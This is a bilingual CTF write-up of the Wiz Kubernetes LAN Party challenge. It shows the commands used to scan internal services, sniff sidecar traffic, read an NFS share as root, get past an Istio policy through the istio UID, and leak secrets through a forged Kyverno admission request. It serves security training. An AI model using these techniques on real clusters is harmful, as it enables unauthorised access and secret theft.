Wiz-k8slanparty
1. 第一部分
DNSing with the stars 与星星进行 DNS 解析
You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further.
As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have “loaded your machine with dnscan to ease this process for further challenges.
您可以通过 shell 访问本页底部的受感染 Kubernetes pod,您的下一个目标是进一步危害其他内部服务。
作为热身,利用 DNS 扫描来发现隐藏的内部服务并获取标志。我们已“在您的机器上加载了 dnscan,以简化此过程以应对进一步的挑战。
1.1 查看环境变量
1 | env |

1.2 使用dnscan扫描
发现其为10.100段,我们使用dnscan进行扫描
1 | dnscan -subnet 10.100.0.0/16 |

扫描到了关键服务getflag-service和内部IP10.100.136.254,我们使用curl访问看看则获得flag

2. 第二部分
Hello?你好?
Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.
有时,我们似乎是周围唯一的人,但我们应该时刻警惕隐形的 sidecar 报告敏感秘密。
1.1 使用dnscan扫描
发现了sidecar服务,这同时也证明当前pod存在着一个“邻居”,它共享着你的网络和存储。

1.2 使用tcpdump查看网卡通信
发现通信过程中包含flag
1 | tcpdump -X |

3. 第三部分
Exposed File Share 暴露的文件共享
The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦️.
目标大公司在生产中使用过时但支持云的技术进行数据存储。但是天哪,这项技术是在访问控制仅基于网络的时代引入的🤦️。
1.1 寻找文件共享
使用mount命令查看,发现除了overlay外还有一个efs文件挂载,从中可以知道挂载点在/efs。
1 | mount |

查看/efs下文件,发现flag但没权限读
1 | ls -la /efs |

1.2 如何提权
我们知道nfs可能配置no_root_squash,这是允许我们通过服务器以root权限读取文件的,尝试使用nfs-cat看能不能从服务器读。
1 | nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0" |

3. 第三部分
The Beauty and The Ist 美与实
Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don’t abuse this power; use it responsibly and with caution.
显然,新的服务网格技术对超级精英用户(root用户)具有独特的吸引力。请勿滥用此权力;负责任且谨慎地使用它。
1.1 查看我们的权限
1 | apiVersion: security.istio.io/v1beta1 |
- 如果你的请求来自
k8s-lan-party命名空间,并且使用了POST或GET方法,那么你的请求将被允许通过。 - 除非你的请求来自
k8s-lan-party命名空间且方法为POST或GET,否则任何来自标签匹配为app: "{flag-pod-name}"的 Pod 的请求都将被拒绝。
1.2 使用dns扫描
我们使用dnscan进行扫描,发现istio服务,但权限不够
1 | dnscan -subnet 10.100.0.0/16 |

1.3 利用1377 UID bypass
查看一下root的权限,也就只有cap_setgid和cap_setuid,不过刚好可以使用来bypass。

我们查看一下用户,利用uid为1377的istio用户可以实现绕过RBAC访问istio服务。
1 | cat /etc/passwd |

1 | su istio # 切换到istio用户 |

4. 第四部分
Who will guard the guardians? 谁来守护守护者?
Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.
当 Pod 受到外部政权的变异时,可以滥用其官僚机构并从管理服务中泄露敏感信息。
1.1 查看我们的权限
1 | apiVersion: kyverno.io/v1 |
- 这里将flag写入了每个sensitive-ns命名空间的pod的env中
1.2 使用dnscan扫描
可以看到kyverno服务和5个metrics服务

1.3 使用mutate端点发送创建pod请求
由于sensitive-ns命名空间中每个pod的env都会被写入flag,所以我们使用这个端点来创建一个pod。
1 | curl -k -X POST https://kyverno-svc.kyverno.svc.cluster.local./mutate -H "Content-Type: application/json" --data '{"apiVersion":"admission.k8s.io/v1","kind":"AdmissionReview","request":{"uid":"705ab4f5-6393-11e8-b7cc-42010a800002","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"example-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"admin","uid":"014fbff9a07c","groups":["system:authenticated"]},"object":{"apiVersion":"v1","kind":"Pod","metadata":{"name":"example-pod","namespace":"sensitive-ns"},"spec":{"containers":[{"name":"example-container","image":"nginx","env":[{"name":"FLAG","value":"{flag}"}]}]}},"oldObject":null,"options":{"apiVersion":"meta.k8s.io/v1","kind":"CreateOptions"},"dryRun":true}}' |
patch段base64解码后即可获得flag

Author: Sally
